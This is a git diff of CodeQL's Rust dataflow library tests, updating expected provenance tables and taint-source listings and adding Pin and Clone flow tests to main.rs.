main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:2 | +| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:5 | | main.rs:14:13:14:13 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | generated | | main.rs:14:13:14:21 | a.clone() [Some] | main.rs:14:9:14:9 | b [Some] | provenance | | -| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:4 | +| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:9 | | main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:13 | a [Ok] | provenance | | | main.rs:19:31:19:44 | Ok(...) [Ok] | main.rs:19:9:19:9 | a [Ok] | provenance | | | main.rs:19:34:19:43 | source(...) | main.rs:19:31:19:44 | Ok(...) [Ok] | provenance | | -| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:4 | +| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:9 | | main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | generated | | main.rs:21:13:21:21 | a.clone() [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance | | +| main.rs:26:9:26:9 | a | main.rs:28:13:28:13 | a | provenance | | | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance | | -| main.rs:41:13:41:13 | w [Wrapper] | main.rs:42:15:42:15 | w [Wrapper] | provenance | | -| main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | main.rs:41:13:41:13 | w [Wrapper] | provenance | | -| main.rs:41:30:41:39 | source(...) | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:42:15:42:15 | w [Wrapper] | main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:42:15:42:15 | w [Wrapper] | main.rs:45:17:45:17 | w [Wrapper] | provenance | | -| main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | main.rs:43:26:43:26 | n | provenance | | -| main.rs:43:26:43:26 | n | main.rs:43:38:43:38 | n | provenance | | -| main.rs:45:13:45:13 | u [Wrapper] | main.rs:46:15:46:15 | u [Wrapper] | provenance | | -| main.rs:45:17:45:17 | w [Wrapper] | main.rs:45:17:45:25 | w.clone() [Wrapper] | provenance | generated | -| main.rs:45:17:45:25 | w.clone() [Wrapper] | main.rs:45:13:45:13 | u [Wrapper] | provenance | | -| main.rs:46:15:46:15 | u [Wrapper] | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | main.rs:47:26:47:26 | n | provenance | | -| main.rs:47:26:47:26 | n | main.rs:47:38:47:38 | n | provenance | | -| main.rs:58:13:58:13 | b [Some] | main.rs:59:23:59:23 | b [Some] | provenance | | -| main.rs:58:17:58:32 | Some(...) [Some] | main.rs:58:13:58:13 | b [Some] | provenance | | -| main.rs:58:22:58:31 | source(...) | main.rs:58:17:58:32 | Some(...) [Some] | provenance | | -| main.rs:59:13:59:13 | z [Some, tuple.1] | main.rs:60:15:60:15 | z [Some, tuple.1] | provenance | | -| main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | main.rs:59:13:59:13 | z [Some, tuple.1] | provenance | | -| main.rs:59:23:59:23 | b [Some] | main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:3 | -| main.rs:60:15:60:15 | z [Some, tuple.1] | main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | provenance | | -| main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | main.rs:61:18:61:23 | TuplePat [tuple.1] | provenance | | -| main.rs:61:18:61:23 | TuplePat [tuple.1] | main.rs:61:22:61:22 | m | provenance | | -| main.rs:61:22:61:22 | m | main.rs:63:22:63:22 | m | provenance | | -| main.rs:84:29:84:29 | [post] y [&ref] | main.rs:85:33:85:33 | y [&ref] | provenance | | -| main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:6 | -| main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:5 | +| main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance | | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:10 | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | +| main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | +| main.rs:43:18:43:22 | SelfParam [Wrapper] | main.rs:44:26:44:29 | self [Wrapper] | provenance | | +| main.rs:44:13:44:33 | Wrapper {...} [Wrapper] | main.rs:43:33:45:9 | { ... } [Wrapper] | provenance | | +| main.rs:44:26:44:29 | self [Wrapper] | main.rs:44:26:44:31 | self.n | provenance | | +| main.rs:44:26:44:31 | self.n | main.rs:44:13:44:33 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:49:13:49:13 | w [Wrapper] | main.rs:50:15:50:15 | w [Wrapper] | provenance | | +| main.rs:49:17:49:41 | Wrapper {...} [Wrapper] | main.rs:49:13:49:13 | w [Wrapper] | provenance | | +| main.rs:49:30:49:39 | source(...) | main.rs:49:17:49:41 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:43:18:43:22 | SelfParam [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:51:13:51:28 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:53:17:53:17 | w [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:53:17:53:25 | w.clone() [Wrapper] | provenance | | +| main.rs:51:13:51:28 | Wrapper {...} [Wrapper] | main.rs:51:26:51:26 | n | provenance | | +| main.rs:51:26:51:26 | n | main.rs:51:38:51:38 | n | provenance | | +| main.rs:53:13:53:13 | u [Wrapper] | main.rs:54:15:54:15 | u [Wrapper] | provenance | | +| main.rs:53:17:53:17 | w [Wrapper] | main.rs:53:17:53:25 | w.clone() [Wrapper] | provenance | generated | +| main.rs:53:17:53:25 | w.clone() [Wrapper] | main.rs:53:13:53:13 | u [Wrapper] | provenance | | +| main.rs:54:15:54:15 | u [Wrapper] | main.rs:55:13:55:28 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:55:13:55:28 | Wrapper {...} [Wrapper] | main.rs:55:26:55:26 | n | provenance | | +| main.rs:55:26:55:26 | n | main.rs:55:38:55:38 | n | provenance | | +| main.rs:66:13:66:13 | b [Some] | main.rs:67:23:67:23 | b [Some] | provenance | | +| main.rs:66:17:66:32 | Some(...) [Some] | main.rs:66:13:66:13 | b [Some] | provenance | | +| main.rs:66:22:66:31 | source(...) | main.rs:66:17:66:32 | Some(...) [Some] | provenance | | +| main.rs:67:13:67:13 | z [Some, tuple.1] | main.rs:68:15:68:15 | z [Some, tuple.1] | provenance | | +| main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | main.rs:67:13:67:13 | z [Some, tuple.1] | provenance | | +| main.rs:67:23:67:23 | b [Some] | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:6 | +| main.rs:68:15:68:15 | z [Some, tuple.1] | main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | provenance | | +| main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | main.rs:69:18:69:23 | TuplePat [tuple.1] | provenance | | +| main.rs:69:18:69:23 | TuplePat [tuple.1] | main.rs:69:22:69:22 | m | provenance | | +| main.rs:69:22:69:22 | m | main.rs:71:22:71:22 | m | provenance | | +| main.rs:92:29:92:29 | [post] y [&ref] | main.rs:93:33:93:33 | y [&ref] | provenance | | +| main.rs:92:32:92:41 | source(...) | main.rs:92:29:92:29 | [post] y [&ref] | provenance | MaD:12 | +| main.rs:93:33:93:33 | y [&ref] | main.rs:93:18:93:34 | ...::read(...) | provenance | MaD:11 | +| main.rs:108:13:108:17 | mut i | main.rs:109:34:109:34 | i | provenance | | +| main.rs:108:13:108:17 | mut i | main.rs:110:33:110:33 | i | provenance | | +| main.rs:108:13:108:17 | mut i | main.rs:111:47:111:47 | i | provenance | | +| main.rs:108:13:108:17 | mut i | main.rs:113:14:113:14 | i | provenance | | +| main.rs:108:21:108:30 | source(...) | main.rs:108:13:108:17 | mut i | provenance | | +| main.rs:109:13:109:20 | mut pin1 [&ref] | main.rs:114:15:114:18 | pin1 [&ref] | provenance | | +| main.rs:109:13:109:20 | mut pin1 [&ref] | main.rs:115:31:115:34 | pin1 [&ref] | provenance | | +| main.rs:109:24:109:35 | ...::new(...) [&ref] | main.rs:109:13:109:20 | mut pin1 [&ref] | provenance | | +| main.rs:109:33:109:34 | &i [&ref] | main.rs:109:24:109:35 | ...::new(...) [&ref] | provenance | MaD:8 | +| main.rs:109:34:109:34 | i | main.rs:109:33:109:34 | &i [&ref] | provenance | | +| main.rs:110:13:110:20 | mut pin2 [&ref] | main.rs:116:15:116:18 | pin2 [&ref] | provenance | | +| main.rs:110:24:110:34 | ...::pin(...) [&ref] | main.rs:110:13:110:20 | mut pin2 [&ref] | provenance | | +| main.rs:110:33:110:33 | i | main.rs:110:24:110:34 | ...::pin(...) [&ref] | provenance | MaD:3 | +| main.rs:111:13:111:20 | mut pin3 [&ref] | main.rs:117:15:117:18 | pin3 [&ref] | provenance | | +| main.rs:111:24:111:49 | ...::into_pin(...) [&ref] | main.rs:111:13:111:20 | mut pin3 [&ref] | provenance | | +| main.rs:111:38:111:48 | ...::new(...) [&ref] | main.rs:111:24:111:49 | ...::into_pin(...) [&ref] | provenance | MaD:1 | +| main.rs:111:47:111:47 | i | main.rs:111:38:111:48 | ...::new(...) [&ref] | provenance | MaD:2 | +| main.rs:114:15:114:18 | pin1 [&ref] | main.rs:114:14:114:18 | * ... | provenance | | +| main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | main.rs:115:14:115:35 | * ... | provenance | | +| main.rs:115:31:115:34 | pin1 [&ref] | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | provenance | MaD:7 | +| main.rs:116:15:116:18 | pin2 [&ref] | main.rs:116:14:116:18 | * ... | provenance | | +| main.rs:117:15:117:18 | pin3 [&ref] | main.rs:117:14:117:18 | * ... | provenance | | +| main.rs:122:13:122:18 | mut ms [MyStruct] | main.rs:127:14:127:15 | ms [MyStruct] | provenance | | +| main.rs:122:22:122:49 | MyStruct {...} [MyStruct] | main.rs:122:13:122:18 | mut ms [MyStruct] | provenance | | +| main.rs:122:38:122:47 | source(...) | main.rs:122:22:122:49 | MyStruct {...} [MyStruct] | provenance | | +| main.rs:127:14:127:15 | ms [MyStruct] | main.rs:127:14:127:19 | ms.val | provenance | | nodes | main.rs:12:9:12:9 | a [Some] | semmle.label | a [Some] | | main.rs:12:13:12:28 | Some(...) [Some] | semmle.label | Some(...) [Some] | @@ -69,36 +112,74 @@ nodes | main.rs:26:9:26:9 | a | semmle.label | a | | main.rs:26:13:26:22 | source(...) | semmle.label | source(...) | | main.rs:27:10:27:10 | a | semmle.label | a | -| main.rs:41:13:41:13 | w [Wrapper] | semmle.label | w [Wrapper] | -| main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | -| main.rs:41:30:41:39 | source(...) | semmle.label | source(...) | -| main.rs:42:15:42:15 | w [Wrapper] | semmle.label | w [Wrapper] | -| main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | -| main.rs:43:26:43:26 | n | semmle.label | n | -| main.rs:43:38:43:38 | n | semmle.label | n | -| main.rs:45:13:45:13 | u [Wrapper] | semmle.label | u [Wrapper] | -| main.rs:45:17:45:17 | w [Wrapper] | semmle.label | w [Wrapper] | -| main.rs:45:17:45:25 | w.clone() [Wrapper] | semmle.label | w.clone() [Wrapper] | -| main.rs:46:15:46:15 | u [Wrapper] | semmle.label | u [Wrapper] | -| main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | -| main.rs:47:26:47:26 | n | semmle.label | n | -| main.rs:47:38:47:38 | n | semmle.label | n | -| main.rs:58:13:58:13 | b [Some] | semmle.label | b [Some] | -| main.rs:58:17:58:32 | Some(...) [Some] | semmle.label | Some(...) [Some] | -| main.rs:58:22:58:31 | source(...) | semmle.label | source(...) | -| main.rs:59:13:59:13 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | -| main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | semmle.label | a.zip(...) [Some, tuple.1] | -| main.rs:59:23:59:23 | b [Some] | semmle.label | b [Some] | -| main.rs:60:15:60:15 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | -| main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | semmle.label | Some(...) [Some, tuple.1] | -| main.rs:61:18:61:23 | TuplePat [tuple.1] | semmle.label | TuplePat [tuple.1] | -| main.rs:61:22:61:22 | m | semmle.label | m | -| main.rs:63:22:63:22 | m | semmle.label | m | -| main.rs:84:29:84:29 | [post] y [&ref] | semmle.label | [post] y [&ref] | -| main.rs:84:32:84:41 | source(...) | semmle.label | source(...) | -| main.rs:85:18:85:34 | ...::read(...) | semmle.label | ...::read(...) | -| main.rs:85:33:85:33 | y [&ref] | semmle.label | y [&ref] | +| main.rs:28:9:28:9 | b | semmle.label | b | +| main.rs:28:13:28:13 | a | semmle.label | a | +| main.rs:28:13:28:21 | a.clone() | semmle.label | a.clone() | +| main.rs:29:10:29:10 | b | semmle.label | b | +| main.rs:43:18:43:22 | SelfParam [Wrapper] | semmle.label | SelfParam [Wrapper] | +| main.rs:43:33:45:9 | { ... } [Wrapper] | semmle.label | { ... } [Wrapper] | +| main.rs:44:13:44:33 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:44:26:44:29 | self [Wrapper] | semmle.label | self [Wrapper] | +| main.rs:44:26:44:31 | self.n | semmle.label | self.n | +| main.rs:49:13:49:13 | w [Wrapper] | semmle.label | w [Wrapper] | +| main.rs:49:17:49:41 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:49:30:49:39 | source(...) | semmle.label | source(...) | +| main.rs:50:15:50:15 | w [Wrapper] | semmle.label | w [Wrapper] | +| main.rs:51:13:51:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:51:26:51:26 | n | semmle.label | n | +| main.rs:51:38:51:38 | n | semmle.label | n | +| main.rs:53:13:53:13 | u [Wrapper] | semmle.label | u [Wrapper] | +| main.rs:53:17:53:17 | w [Wrapper] | semmle.label | w [Wrapper] | +| main.rs:53:17:53:25 | w.clone() [Wrapper] | semmle.label | w.clone() [Wrapper] | +| main.rs:54:15:54:15 | u [Wrapper] | semmle.label | u [Wrapper] | +| main.rs:55:13:55:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:55:26:55:26 | n | semmle.label | n | +| main.rs:55:38:55:38 | n | semmle.label | n | +| main.rs:66:13:66:13 | b [Some] | semmle.label | b [Some] | +| main.rs:66:17:66:32 | Some(...) [Some] | semmle.label | Some(...) [Some] | +| main.rs:66:22:66:31 | source(...) | semmle.label | source(...) | +| main.rs:67:13:67:13 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | +| main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | semmle.label | a.zip(...) [Some, tuple.1] | +| main.rs:67:23:67:23 | b [Some] | semmle.label | b [Some] | +| main.rs:68:15:68:15 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | +| main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | semmle.label | Some(...) [Some, tuple.1] | +| main.rs:69:18:69:23 | TuplePat [tuple.1] | semmle.label | TuplePat [tuple.1] | +| main.rs:69:22:69:22 | m | semmle.label | m | +| main.rs:71:22:71:22 | m | semmle.label | m | +| main.rs:92:29:92:29 | [post] y [&ref] | semmle.label | [post] y [&ref] | +| main.rs:92:32:92:41 | source(...) | semmle.label | source(...) | +| main.rs:93:18:93:34 | ...::read(...) | semmle.label | ...::read(...) | +| main.rs:93:33:93:33 | y [&ref] | semmle.label | y [&ref] | +| main.rs:108:13:108:17 | mut i | semmle.label | mut i | +| main.rs:108:21:108:30 | source(...) | semmle.label | source(...) | +| main.rs:109:13:109:20 | mut pin1 [&ref] | semmle.label | mut pin1 [&ref] | +| main.rs:109:24:109:35 | ...::new(...) [&ref] | semmle.label | ...::new(...) [&ref] | +| main.rs:109:33:109:34 | &i [&ref] | semmle.label | &i [&ref] | +| main.rs:109:34:109:34 | i | semmle.label | i | +| main.rs:110:13:110:20 | mut pin2 [&ref] | semmle.label | mut pin2 [&ref] | +| main.rs:110:24:110:34 | ...::pin(...) [&ref] | semmle.label | ...::pin(...) [&ref] | +| main.rs:110:33:110:33 | i | semmle.label | i | +| main.rs:111:13:111:20 | mut pin3 [&ref] | semmle.label | mut pin3 [&ref] | +| main.rs:111:24:111:49 | ...::into_pin(...) [&ref] | semmle.label | ...::into_pin(...) [&ref] | +| main.rs:111:38:111:48 | ...::new(...) [&ref] | semmle.label | ...::new(...) [&ref] | +| main.rs:111:47:111:47 | i | semmle.label | i | +| main.rs:113:14:113:14 | i | semmle.label | i | +| main.rs:114:14:114:18 | * ... | semmle.label | * ... | +| main.rs:114:15:114:18 | pin1 [&ref] | semmle.label | pin1 [&ref] | +| main.rs:115:14:115:35 | * ... | semmle.label | * ... | +| main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | semmle.label | ...::into_inner(...) [&ref] | +| main.rs:115:31:115:34 | pin1 [&ref] | semmle.label | pin1 [&ref] | +| main.rs:116:14:116:18 | * ... | semmle.label | * ... | +| main.rs:116:15:116:18 | pin2 [&ref] | semmle.label | pin2 [&ref] | +| main.rs:117:14:117:18 | * ... | semmle.label | * ... | +| main.rs:117:15:117:18 | pin3 [&ref] | semmle.label | pin3 [&ref] | +| main.rs:122:13:122:18 | mut ms [MyStruct] | semmle.label | mut ms [MyStruct] | +| main.rs:122:22:122:49 | MyStruct {...} [MyStruct] | semmle.label | MyStruct {...} [MyStruct] | +| main.rs:122:38:122:47 | source(...) | semmle.label | source(...) | +| main.rs:127:14:127:15 | ms [MyStruct] | semmle.label | ms [MyStruct] | +| main.rs:127:14:127:19 | ms.val | semmle.label | ms.val | subpaths +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:43:18:43:22 | SelfParam [Wrapper] | main.rs:43:33:45:9 | { ... } [Wrapper] | main.rs:53:17:53:25 | w.clone() [Wrapper] | testFailures #select | main.rs:13:10:13:19 | a.unwrap() | main.rs:12:18:12:27 | source(...) | main.rs:13:10:13:19 | a.unwrap() | $@ | main.rs:12:18:12:27 | source(...) | source(...) | @@ -106,7 +187,14 @@ testFailures | main.rs:20:10:20:19 | a.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:20:10:20:19 | a.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | | main.rs:22:10:22:19 | b.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:22:10:22:19 | b.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | | main.rs:27:10:27:10 | a | main.rs:26:13:26:22 | source(...) | main.rs:27:10:27:10 | a | $@ | main.rs:26:13:26:22 | source(...) | source(...) | -| main.rs:43:38:43:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:43:38:43:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | -| main.rs:47:38:47:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:47:38:47:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | -| main.rs:63:22:63:22 | m | main.rs:58:22:58:31 | source(...) | main.rs:63:22:63:22 | m | $@ | main.rs:58:22:58:31 | source(...) | source(...) | -| main.rs:85:18:85:34 | ...::read(...) | main.rs:84:32:84:41 | source(...) | main.rs:85:18:85:34 | ...::read(...) | $@ | main.rs:84:32:84:41 | source(...) | source(...) | +| main.rs:29:10:29:10 | b | main.rs:26:13:26:22 | source(...) | main.rs:29:10:29:10 | b | $@ | main.rs:26:13:26:22 | source(...) | source(...) | +| main.rs:51:38:51:38 | n | main.rs:49:30:49:39 | source(...) | main.rs:51:38:51:38 | n | $@ | main.rs:49:30:49:39 | source(...) | source(...) | +| main.rs:55:38:55:38 | n | main.rs:49:30:49:39 | source(...) | main.rs:55:38:55:38 | n | $@ | main.rs:49:30:49:39 | source(...) | source(...) | +| main.rs:71:22:71:22 | m | main.rs:66:22:66:31 | source(...) | main.rs:71:22:71:22 | m | $@ | main.rs:66:22:66:31 | source(...) | source(...) | +| main.rs:93:18:93:34 | ...::read(...) | main.rs:92:32:92:41 | source(...) | main.rs:93:18:93:34 | ...::read(...) | $@ | main.rs:92:32:92:41 | source(...) | source(...) | +| main.rs:113:14:113:14 | i | main.rs:108:21:108:30 | source(...) | main.rs:113:14:113:14 | i | $@ | main.rs:108:21:108:30 | source(...) | source(...) | +| main.rs:114:14:114:18 | * ... | main.rs:108:21:108:30 | source(...) | main.rs:114:14:114:18 | * ... | $@ | main.rs:108:21:108:30 | source(...) | source(...) | +| main.rs:115:14:115:35 | * ... | main.rs:108:21:108:30 | source(...) | main.rs:115:14:115:35 | * ... | $@ | main.rs:108:21:108:30 | source(...) | source(...) | +| main.rs:116:14:116:18 | * ... | main.rs:108:21:108:30 | source(...) | main.rs:116:14:116:18 | * ... | $@ | main.rs:108:21:108:30 | source(...) | source(...) | +| main.rs:117:14:117:18 | * ... | main.rs:108:21:108:30 | source(...) | main.rs:117:14:117:18 | * ... | $@ | main.rs:108:21:108:30 | source(...) | source(...) | +| main.rs:127:14:127:19 | ms.val | main.rs:122:38:122:47 | source(...) | main.rs:127:14:127:19 | ms.val | $@ | main.rs:122:38:122:47 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/modeled/main.rs b/rust/ql/test/library-tests/dataflow/modeled/main.rs index 3ce3e0ecae04..c660a33116dd 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/main.rs +++ b/rust/ql/test/library-tests/dataflow/modeled/main.rs @@ -26,17 +26,25 @@ fn i64_clone() { let a = source(12); sink(a); // $ hasValueFlow=12 let b = a.clone(); - sink(b); // $ MISSING: hasValueFlow=12 - lack of builtins means that we cannot resolve clone call above, and hence not insert implicit borrow + sink(b); // $ hasValueFlow=12 } mod my_clone { use super::{sink, source}; - #[derive(Clone)] + // TODO: Replace manual implementation below with `#[derive(Clone)]`, + // once the extractor expands the `#[derive]` attributes. + // #[derive(Clone)] struct Wrapper { n: i64, } + impl Clone for Wrapper { + fn clone(&self) -> Self { + Wrapper { n: self.n } + } + } + pub fn wrapper_clone() { let w = Wrapper { n: source(73) }; match w { @@ -87,9 +95,64 @@ mod ptr { } } +use std::pin::Pin; +use std::pin::pin; + +#[derive(Clone)] +struct MyStruct { + val: i64, +} + +fn test_pin() { + { + let mut i = source(40); + let mut pin1 = Pin::new(&i); + let mut pin2 = Box::pin(i); + let mut pin3 = Box::into_pin(Box::new(i)); + let mut pin4 = pin!(i); + sink(i); // $ hasValueFlow=40 + sink(*pin1); // $ hasValueFlow=40 + sink(*Pin::into_inner(pin1)); // $ hasValueFlow=40 + sink(*pin2); // $ hasValueFlow=40 + sink(*pin3); // $ hasValueFlow=40 + sink(*pin4); // $ MISSING: hasValueFlow=40 + } + + { + let mut ms = MyStruct { val: source(41) }; + let mut pin1 = Pin::new(&ms); + let mut pin2 = Box::pin(ms.clone()); + let mut pin3 = Box::into_pin(Box::new(ms.clone())); + let mut pin4 = pin!(&ms); + sink(ms.val); // $ hasValueFlow=41 + sink(pin1.val); // $ MISSING: hasValueFlow=41 + sink(Pin::into_inner(pin1).val); // $ MISSING: hasValueFlow=41 + sink(pin2.val); // $ MISSING: hasValueFlow=41 + sink(pin3.val); // $ MISSING: hasValueFlow=41 + sink(pin4.val); // $ MISSING: hasValueFlow=41 + } + + unsafe { + let mut ms = MyStruct { val: source(42) }; + let mut pin5 = Pin::new_unchecked(&ms); + sink(pin5.val); // $ MISSING: hasValueFlow=42 + sink(Pin::into_inner_unchecked(pin5).val); // $ MISSING: hasValueFlow=42 + } + + { + let mut ms = MyStruct { val: source(43) }; + let mut ms2 = MyStruct { val: source(44) }; + let mut pin = Pin::new(&mut ms); + sink(pin.val); // $ MISSING: hasValueFlow=43 + pin.set(ms2); + sink(pin.val); // $ MISSING: hasValueFlow=44 + } +} + fn main() { option_clone(); result_clone(); i64_clone(); my_clone::wrapper_clone(); + test_pin(); } diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 11d0df45d590..da3b69eb0507 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -20,35 +20,70 @@ | test.rs:74:26:74:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:77:26:77:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:80:24:80:35 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:112:35:112:46 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:119:31:119:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:205:31:205:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:210:31:210:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:215:22:215:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:221:22:221:25 | path | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:222:27:222:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:228:22:228:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:243:22:243:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:249:22:249:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:255:22:255:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:261:9:261:22 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:265:17:265:30 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:271:20:271:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:304:50:304:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:310:50:310:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:317:50:317:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:324:50:324:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:331:56:331:69 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:338:50:338:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:345:50:345:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:351:50:351:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:360:25:360:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:361:25:361:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:369:25:369:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:377:22:377:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:386:16:386:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs 